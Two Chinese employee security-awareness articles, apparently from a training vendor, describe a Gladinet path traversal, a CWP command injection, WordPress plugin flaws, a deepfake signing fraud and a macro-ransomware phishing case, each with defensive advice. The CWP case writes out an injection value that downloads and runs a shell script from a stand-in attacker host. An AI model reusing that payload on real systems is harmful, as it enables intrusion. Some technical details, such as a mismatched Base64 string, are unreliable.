“安全不是一个产品，而是一种思维方式。”——Bruce Schneier
“防御的最高境界是让攻击者的每一步都付出代价。”——古语有云：“防微杜渐”。

在信息化、数字化、智能化高速迭代的今天，企业的每一次系统升级、每一次云端部署、每一次新业务上线，都可能在不经意间敞开一扇通往攻击者的后门。今天，我将通过 三则鲜活、典型且极具教育意义的安全事件，帮助大家从“听说”走向“亲历”，从“危机感”转化为“自我驱动的防御”。随后，我们将携手即将开启的 信息安全意识培训，把这些教训转化为每位职工的硬核技能。

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案例一：Gladinet CentreStack 目录泄露——Base64 伪装的“蝙蝠侠”

事件概述

2025 年 10 月底，CISA 将 CVE‑2025‑11371 纳入 KEV（Known Exploited Vulnerabilities）目录。该漏洞存在于 Gladinet CentreStack 与 Triofox 的文件/目录访问控制不严，攻击者可构造特制请求，从而读取系统敏感文件，实现信息泄露。更令人担忧的是，Huntress 安全公司捕获到活跃的利用尝试：攻击者将 PowerShell/批处理指令 “ipconfig /all” 编码为 Base64，嵌入 HTTP 请求的参数中，借此规避传统 IDS/IPS 的关键字检测。

攻击链拆解

1. 信息收集：攻击者先通过公开文档、网络爬虫定位目标机构使用 Gladinet CentreStack，并尝试访问 /api/v1/files 接口。
2. 参数构造：利用漏洞的路径遍历特性，将 ../ 组合在 filePath 参数中，指向系统根目录下的 C:\Windows\System32\drivers\etc\hosts。
3. Base64 伪装：将攻击指令 ipconfig /all 转为 aXBjb25maWcvYWxs，放入 HTTP Header X-Exec-Command，服务器端在解析时直接执行，返回系统网络配置信息。
4. 结果利用：攻击者收集到内部 IP、子网掩码、网关等信息，可进一步进行横向渗透或钓鱼邮件定向投递。

防御反思

• 最小化权限：对文件系统的访问应采用基于角色的细粒度控制（RBAC），仅授权业务需要的目录。
• 输入过滤：对所有外来参数进行 路径规范化（canonicalization）和 白名单校验，杜绝 ../ 等路径遍历。
• 深度检测：部署 行为分析型 WAF，对异常的 Base64 编码请求实现解码并关键字匹配。
• 安全更新：及时更新至 Gladinet 官方发布的 2025‑06‑15 补丁，关闭此漏洞。

案例启示：即便是一条看似无害的“获取系统信息”的指令，也能在攻击者的包装下悄然穿透防线。职工日常使用企业内部文件共享平台时，务必保持警惕，任何异常请求都可能是潜在的渗透尝试。

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案例二：CWP （Control Web Panel）命令注入——从合法用户到 RCE 的极速变形

事件概述

同样在 2025 年 11 月，CISA 将 CVE‑2025‑48703（CVSS 9.0）列入 KEV，标记为 “未经认证的远程代码执行（RCE）”。漏洞位于 CWP 的文件管理模块 changePerm 接口，攻击者可在 t_total 参数中注入 shell 元字符（;、&&、|），在服务器上任意执行系统命令。该漏洞的危害在于 “预认证”——攻击者只需要事先获取合法用户名（常通过弱口令爆破或社交工程），即可直接执行任意代码。

攻击链拆解

1. 账号探测：攻击者利用常见的 admin、root、test 等弱用户名进行登录尝试，配合 字典爆破（如 123456, password），成功获取有效用户名 “webadmin”。
2. 接口滥用：发送 HTTP POST 请求至 /plugins/filemanager/action.php，action=changePerm，t_total=0777;wget http://attacker.com/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;/tmp/shell.sh。
3. 命令执行：服务器在解析 t_total 时直接将 ; 视为命令分隔符，导致 wget 下载 attacker 的恶意脚本并立即执行，获取 root 权限的后门。
4. 横向扩散：利用已植入的后门，攻击者进一步扫描内部网络，尝试对其他业务系统进行横向渗透。

防御反思

• 强制双因素认证（2FA）：对所有管理后台强制开启 2FA，单凭用户名无法完成登录。
• 输入白名单：对 t_total 之类的权限参数，使用正则表达式仅允许数字与合法字符，禁止任何特殊字符。
• 日志审计：开启 auditd 对 chmod、wget、/bin/sh 等系统调用进行实时监控，一旦出现异常立即报警。
• 及时升级：CWP 官方已在 2025‑05‑13 推出 0.9.8.1205 版修复，务必在 11 月 25 日 前完成更新。

案例启示：即使是看似普通的权限修改请求，也可能是攻击者的 “一键炸弹”。 对系统管理账号的安全保护是企业防线的最前沿，职工在日常操作中应养成强密码、双因素、定期更换的好习惯。

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案例三：WordPress 插件链式攻击——从“免费插件”到全站接管

事件概述

2025 年 10 月，安全公司 Wordfence 报告三款流行 WordPress 插件 WP Freeio、Noo JobMonster、Post SMTP 同时被发现 CVE‑2025‑11533、CVE‑2025‑5397、CVE‑2025‑11833，均为 CVSS 9.8 的高危漏洞。攻击者利用这些漏洞实现 权限提升、身份绕过、日志窃取，最终全站接管。

攻击链拆解（以 WP Freeio 为例）

1. 注册漏洞利用：攻击者在站点注册页面填入 role=administrator 参数，系统未对角色字段进行白名单校验，直接在用户表中写入管理员角色。
2. 会话劫持：利用管理员权限，攻击者获取 wp-admin 的登录 cookie，并通过 XSS 将 cookie 注入管理员的浏览器。
3. 插件后门：在 Post SMTP 中利用缺乏授权检查的邮件日志接口读取所有邮件内容，其中包含密码重置链接，进一步通过 密码重置 改写管理员密码。
4. 站点接管：最终攻击者控制了站点后台，可植入后门、篡改页面、窃取访客数据，甚至利用站点进行 钓鱼 / 传播恶意软件。

防御反思

• 最小化插件：仅保留业务必需的插件，定期审计插件安全性与维护状态。
• 角色校验：在用户注册与编辑接口加入角色字段的强制白名单（仅限 subscriber、contributor），禁止通过前端参数直接指定管理员。
• 安全配置：开启 WordPress 安全密钥（AUTH_KEY、SECURE_AUTH_KEY 等）并定期轮换，防止 cookie 被窃取后长期有效。
• 审计日志：部署 WP Activity Log 等插件，对用户角色变更、插件安装、文件写入进行详细记录并即时告警。
• 及时升级：上述三款插件已在 2025‑06‑03、2025‑07‑15、2025‑08‑20 分别发布安全补丁，务必在 11 月 25 日 前完成更新。

案例启示：所谓“免费插件”，在安全审计前往往是 “潜伏的炸弹”。 职工在使用 CMS 系统时，任何插件的安装、升级都必须经过安全部门的确认与验证。

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信息化、数字化、智能化的时代背景——安全挑战的叠加效应

1. 云端迁移的“双刃剑”

企业正以指数级速度将业务迁移至 云平台、容器化、微服务。这虽提升了弹性与可扩展性，却让 攻击面 从传统的边界防护扩散至 API、服务网格、CI/CD 流水线。每一次代码提交、每一次容器镜像拉取，都可能成为恶意代码植入的入口。

2. AI 与大模型的“暗流涌动”

从 ChatGPT 到 Gemini, 大模型已经渗透到企业内部的 自动化脚本、客服机器人、代码生成 等环节。攻击者同样利用 生成式 AI 编写定制化的恶意代码、混淆的渗透脚本，甚至通过 AI 诱骗 获取用户凭证。正如“AI 如同新型的钓鱼诱饵”，我们必须在使用便利的同时，强化对 AI 生成内容的审计与验证。

3. 物联网（IoT）与边缘计算的隐蔽风险

智能工厂、智慧办公、可穿戴设备的普及，使得 数千台设备 直接连入企业网络。每一台未打补丁的摄像头、每一个泄露的传感器数据，都可能成为“绊脚石”，为攻击者提供 渗透进入核心系统的桥梁。

4. 零信任（Zero Trust）理念的落地难点

零信任已成为行业共识——“不信任任何默认内网”。但在实际落地过程中，身份验证、最小权限、动态授权的细粒度实现往往因技术储备不足、业务流程复杂而出现“灰盒”。这正是攻击者利用权限错配、横向移动的可乘之机。

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为什么每一位职工都必须参与信息安全意识培训？

1. 人是最薄弱的环节
   统计数据显示，超过 80% 的安全事件源于人为失误（弱口令、钓鱼、误配置）。技术防护只能补救，安全意识的根本在于行为改变。

2. 防御是全员的责任
   从 采购（审查供应链安全）到 研发（安全编码）、从 运维（日志审计）到 营销（社交工程防护），每个岗位都有独特的安全风险。培训可以帮助职工在自己的岗位上识别、报告并快速响应。



3. 合规与监管的硬性要求
   CISA、国家网信办等监管机构已明确 “关键资产的管理者必须接受定期安全培训”。未完成培训的部门，将面临 审计风险、合规处罚，甚至 业务中断。

4. 提升个人职场竞争力
   在 AI 和自动化 越来越普及的时代，具备 安全思维 的员工更容易获得 跨部门项目 的信任，成为组织内部的 安全倡导者（Security Champion）。

培训的核心内容（预告）

模块	关键要点	预期收获
基础篇：信息安全概念与威胁体系	认识 CIA 三要素、常见攻击手法（钓鱼、勒索、供应链攻击）	能快速辨别异常邮件、链接
进阶篇：系统与应用安全	常见漏洞（SQL 注入、命令注入、文件包含）案例分析（如 CVE‑2025‑11371、CVE‑2025‑48703）	能在日常工作中发现并报告安全隐患
实战篇：安全操作与响应	强密码策略、双因素部署、日志审计、应急响应流程（报告、隔离、恢复）	熟悉安全事件的第一时间处置步骤
前沿篇：AI 与云安全	大模型安全风险、云原生安全（容器、K8s）	在新技术使用中保持安全警觉
演练篇：红蓝对抗模拟	通过线上演练平台进行渗透测试、蓝队防御	将理论转化为实战技能，提升团队协同防御能力

培训承诺：所有课程均采用 互动式案例研讨 + 实战演练，在 8 小时内完成，完成后将颁发 企业内部信息安全合规证书，并计入年度绩效。

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行动号召：从“看新闻”到“做安全卫士”

1. 报名通道已开启

• 时间：2025 年 11 月 15 日至 12 月 5 日（每日 09:00‑18:00）
• 方式：登录企业内部学习平台 → “安全培训” → “信息安全意识 2025”。
• 奖励：完成全部课程并通过考核的同事，可获 “安全星级徽章”、公司内部点数奖励（可兑换福利）。

2. 安全自查清单（先行一步）

检查项	检查方法	目标时间
密码强度	使用密码管理器检查是否含有大写、数字、特殊字符，长度≥12	即日
二次验证	为所有企业账号（邮件、云盘、VPN）启用 2FA	本周
系统补丁	检查服务器、工作站是否已安装 Gladinet、CWP、WordPress 的最新安全补丁	本月
插件审计	确认 WordPress 站点仅保留必要插件，删除未维护插件	本月
日志监控	检查是否开启关键系统的审计日志并接入 SIEM	本季度

温馨提示：若在自查过程中发现异常，请第一时间通过 企业安全中心（钉钉/企业微信）提交 “安全事件报告单”，并在 24 小时内 配合安全团队完成复盘。

3. 成为安全文化的传播者

• 安全周（每年 10 月）：组织分享会、案例复盘、红蓝对抗演练。
• 安全沙龙：每月一次，邀请内部安全专家、外部顾问，围绕热点议题（如 AI 安全、云原生防护）进行讨论。
• 安全故事征集：鼓励职工提交亲身经历的安全事件或防御经验，优秀案例将在内部刊物《安全星火》上发表。

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结语：从“危机”到“机遇”，让安全成为企业竞争力的基石

在快速迭代的数字化浪潮里，危机与机遇往往只是一线之隔。我们通过 Gladinet 的目录泄露、CWP 的命令注入、WordPress 插件的链式攻击 三大案例，已经看清了攻击者的常用套路与企业防御的薄弱环节。信息安全不是 IT 部门的专属任务，而是每一位职工的共同责任。只要我们把安全思维植入日常操作，把防御措施落实在每一次点击、每一次代码提交、每一次系统配置中，就能把风险扼杀在萌芽阶段。

让我们把 “防微杜渐” 从古训转化为 “防微到巨”——通过系统化的培训、持续的自查、积极的安全文化建设，让每位同事都成为 企业安全的第一道防线。当攻击者再度投放 “炸弹”，我们已经用知识和行动将其化为 “烟花”——绚烂而不致伤人。

安全不是终点，而是持续的旅程。 让我们在即将开启的培训中同行，以智慧和勇气守护企业的数字资产，让每一次信息安全的学习，都成为 个人成长与企业繁荣的双赢之路。

昆明亭长朗然科技有限公司不仅提供培训服务，还为客户提供专业的技术支持。我们致力于解决各类信息安全问题，并确保您的系统和数据始终处于最佳防护状态。欢迎您通过以下方式了解更多详情。让我们为您的信息安全提供全方位保障。

• 电话：0871-67122372
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• QQ: 1767022898

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一、头脑风暴：从“想象”到“警醒”

在信息化、数字化、智能化的浪潮中，技术的每一次飞跃都可能孕育新的安全隐患。现在，请大家先闭眼，设想以下两幅画面：

1. 画面一：公司高层在全球视频会议中签署一笔价值数亿元的并购协议。画面切换，屏幕上的签字人笑容可掬、声音沉稳，却不知这正是一段利用最新深度学习技术合成的“AI 伪造”视频。数秒后，资金悄然划走，受害方仅在事后发现——原来签字的根本不是本人。

2. 画面二：一名普通员工在收到“人力资源部”发来的邮件后，点击了附件中的“工资单”。邮件看起来毫无破绽，却暗藏一段经过精心编排的勒索软件。整个部门的共享盘被加密，关键业务数据失去访问权限，企业在慌乱中被迫支付巨额赎金。

这两幅画面并非空中楼阁，而是已经在全球范围内屡见不鲜的真实案例。下面，我们将通过具体案例的剖析，让大家从细节中感受风险的逼真与严峻。

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二、案例一：深度伪造驱动的电子签名诈骗（“假CEO”蒙面案）

1. 事件背景

2024 年 9 月，美国一家大型跨国企业在进行一次关键的技术授权交易时，采用了 Secured Signing 旗下的远程在线公证（RON）平台完成签署。当天，董事会主席通过视频会议向对方展示了签署意向，并在平台上完成了电子签名。

2. 诈骗手段

事后调查显示，视频会议中出现的“董事会主席”并非真实人物，而是一段由 生成对抗网络（GAN） 合成的 AI 深度伪造视频。攻击者通过以下步骤实施欺诈：

• 信息收集：利用公开的社交媒体和公司官网，获取目标高管的外貌、语音样本以及常用口头禅。
• 模型训练：使用开源的 DeepFaceLab、WaveNet 等工具，训练出能够在几秒钟内生成逼真面部表情和语音的模型。
• 实时合成：在视频会议进行时，将模型输出的伪造视频流实时替换真实摄像头信号，使对方无法察觉异常。
• 签署诱导：伪造的高管在会议中强调交易紧迫性，诱导对方在未经二次核实的情况下完成电子签署。

3. 事后影响

• 经济损失：对方公司在毫不知情的情况下，转账 5,200 万美元至攻击者控制的离岸账户。
• 声誉危机：该企业在行业内的信用评级因内部控制失误受到质疑，业务合作伙伴的信任度下降。
• 法律纠纷：涉及跨境资金流动，导致多国监管机构介入调查，企业面临高额罚款。

4. 安全漏洞剖析

• 身份验证薄弱：仅依赖单因素（如登录密码）或视频画面进行身份确认，缺乏活体检测和多因素验证手段。
• 缺乏实时防伪：未部署基于 AI 的深度伪造检测系统，未能在会议进行时识别异常信号。
• 流程缺陷：关键业务的签署缺少二级审批或线下核对环节，单点决策成为攻击者的突破口。

5. 经验教训

• 多因素身份验证：在高风险交易中，必须结合硬件令牌、生物特征（虹膜、指纹）和行为分析进行复合验证。
• 实时伪造检测：采用如 Realify 等 AI 驱动的防伪系统，对每一次视频、音频流进行活体和异常行为分析，生成即时风险评分。
• 业务流程分层：关键合同和大额支付需设置双签、双审机制，且必须在不同渠道进行身份核对（如电话回访、邮件确认）。
• 员工安全意识：所有参与签署的人员需接受深度伪造辨识培训，熟悉异常表现（如光线不自然、嘴形与语音不同步等）。

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三、案例二：勒扣式钓鱼与企业级勒索（“工资单”陷阱案）

1. 事件概述

2025 年 1 月，国内某知名制造企业的财务部门收到一封标题为《2024 年度工资单已生成，请及时下载》的邮件。邮件正文采用公司统一的 HR 模板，署名为 “人事部张经理”，并附带一个指向云盘的链接。财务人员点击链接后，系统提示文件已加密，需要提供解密密钥。

2. 攻击过程

• 钓鱼邮件构造：攻击者通过 信息收集（社交工程）获取了 HR 部门的内部邮件格式、签名图片以及常用语句，伪造出高度仿真的邮件。
• 恶意文档植入：链接指向的文件为 Office Macro 恶意宏，打开后自动下载并执行 勒索蠕虫（ ransomware）至本地网络。
• 横向渗透：蠕虫利用 SMB 漏洞（如 EternalBlue）在内部网络快速传播，锁定共享盘、数据库服务器等关键资产。
• 赎金勒索：受影响系统弹出经典勒索界面，要求在 48 小时内支付比特币，否则删除备份。

3. 损失评估

• 直接损失：企业被迫支付约 1200 万人民币的赎金，以换取解密密钥。
• 间接损失：业务中断 3 天，导致订单交付延迟，客户违约金累计 500 万人民币。
• 数据泄露：部分敏感财务数据在加密过程中被盗取，后被在暗网公开，导致潜在的信用风险。

4. 漏洞根源

• 邮件过滤失效：企业的邮件安全网关未能识别伪造的内部发件人地址和恶意链接。
• 宏安全策略缺失：办公软件默认允许宏运行，未对未知来源的文档进行沙箱隔离。
• 补丁管理滞后：内部服务器长期未更新安全补丁，导致 SMB 漏洞长期存在。
• 缺乏灾备演练：企业备份体系虽然完备，但未定期进行恢复演练，导致在危机时无法快速恢复。

5. 防护建议

• 邮件安全加固：部署基于 AI 的 钓鱼检测（如 DMARC、DKIM、SPF 完整配置），并对内部邮件进行数字签名验证。
• 宏安全策略：在所有办公终端强制关闭未知来源宏，启用 Office 受信任文档 功能，或采用 Application Guard 进行隔离运行。
• 漏洞及时修补：建立 全网漏洞扫描 与 自动化补丁部署 流程，确保关键协议（如 SMB）及时更新。
• 灾备演练常态化：每季度进行一次完整的 业务连续性恢复（BCDR） 演练，验证备份可用性与恢复时效。
• 安全文化渗透：通过案例复盘、情景演练，让全员熟悉 “不点链接、不打开附件、不随意提供凭证” 的基本原则。

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四、信息化、数字化、智能化浪潮中的安全新命题

1. AI 双刃剑：从助力到威胁

人工智能已深入企业的生产、运营、营销等环节。AI 提升效率 的同时，也为 攻击者提供了更强大的工具。深度伪造（DeepFake）技术的成熟，使得“声音、面容、手势”可以被毫秒级复制；机器学习模型的开放，使得 对抗样本（Adversarial Example）能够规避传统防御系统。正如《论语》有云：“知之者不如好之者，好之者不如乐之者。”我们必须 乐于学习 AI 防御技术，才能在攻防对抗中占据主动。

2. 云端与边缘的安全边界

企业正从 本地化 向 云化、边缘化 转型。云服务提供了弹性资源，却也带来了 共享责任模型 的挑战。安全不再是 IT 部门的独占领域，而是 全员的共同职责。正如《孙子兵法·计篇》所言：“兵马未动，粮草先行。”在信息化进程中，安全底层设施 必须先行布局，才能为业务创新提供坚实支撑。

3. 数据资产的价值与风险

在大数据与分析驱动的时代，数据即资产。然而，数据泄露的代价往往超过直接的经济损失，还会导致 合规处罚（如 GDPR、网络安全法）以及 品牌信任度 的崩塌。因此，我们必须对数据生命周期进行 全程加密、审计、分级保护，并通过 零信任（Zero Trust） 架构，实现最小权限访问。

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五、号召全员参与信息安全意识培训——共筑防御长城

1. 培训的定位：从“应付检查”到“内化能力”

过去，信息安全培训往往被视为 一次性合规任务，员工仅在考核前临时抱佛脚。但在当下的威胁环境里，安全意识 必须成为 日常工作的一部分。我们计划在 2025 年 12 月 启动为期 四周 的分层培训，覆盖以下模块：

周次	内容	目标人群	关键技能
第1周	信息安全概论 & 法规合规	全体员工	理解基本安全概念、法规要求
第2周	社交工程与钓鱼防御	所有岗位	识别钓鱼邮件、社交工程手段
第3周	深度伪造辨识 & 视频会议安全	高层、业务负责人	使用 LiveCheck、Realify 等工具
第4周	零信任与权限管理	IT 与管理层	实施最小权限、动态身份验证

每节课后将配套 情景演练 与 案例复盘，通过 红队对抗、蓝队防御 模式，让学员在实战中体会防御的细致与复杂。

2. 激励机制：学习有奖、积分制晋级

为提升参与度，我们将采用 积分+徽章 的方式记录学习进度，累计积分可兑换 公司内部学习基金、技术书籍 或 荣誉称号（如 “安全先锋”）。此外，年度 信息安全优秀个人 将获得公司高层亲自颁发的 “守护者”奖杯，并列入年度评优。

3. 角色共担：从“技术防线”到“人文防线”

• 董事长/总经理：树立安全文化标杆，亲自签署《信息安全承诺书》；在全员大会上强调安全的重要性。
• 部门负责人：落实本部门的安全检查清单，确保关键业务流程符合安全标准。
• 普通员工：日常遵守 “三不原则”（不点陌生链接、不随意泄露凭证、不使用未授权设备），并主动报告 异常行为（如陌生的系统弹窗、异常的登录提示）。
• IT 与安全团队：提供技术支撑、持续监测、快速响应；对培训内容进行更新迭代，保持与最新威胁保持同步。

4. 评估与改进：闭环管理

培训结束后，我们将通过 问卷调查、实战演练成绩、安全事件统计 三个维度进行评估。针对发现的薄弱环节，及时 更新培训教材、优化防护措施，形成 PDCA（计划-执行-检查-行动） 循环。

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六、结语：让安全成为习惯，让防护成为本能

古人云：“防微杜渐，未雨绸缪”。在数字化时代，安全 已不再是技术层面的“选项”，而是每一次点击、每一次会面、每一次签名背后不可或缺的 底层逻辑。我们每个人都是 信息安全链条中的关键节点，只有每个人都具备辨识风险、应对威胁的能力，才能让整个组织在风口浪尖上稳步前行。

让我们从今天起，以案例为镜、以培训为桥、以行动为证，共同守护企业的数字红线，让“深度伪造”与“勒索蠕虫”无处遁形，让每一次业务创新都伴随坚实的安全护盾。

—— 让安全意识根植于血液，让防护能力贯穿于工作流。

信息安全意识培训启动，期待与你携手共筑数字安全防线！

在数据合规日益重要的今天，昆明亭长朗然科技有限公司为您提供全面的合规意识培训服务。我们帮助您的团队理解并遵守相关法律法规，降低合规风险，确保业务的稳健发展。期待与您携手，共筑安全合规的坚实后盾。

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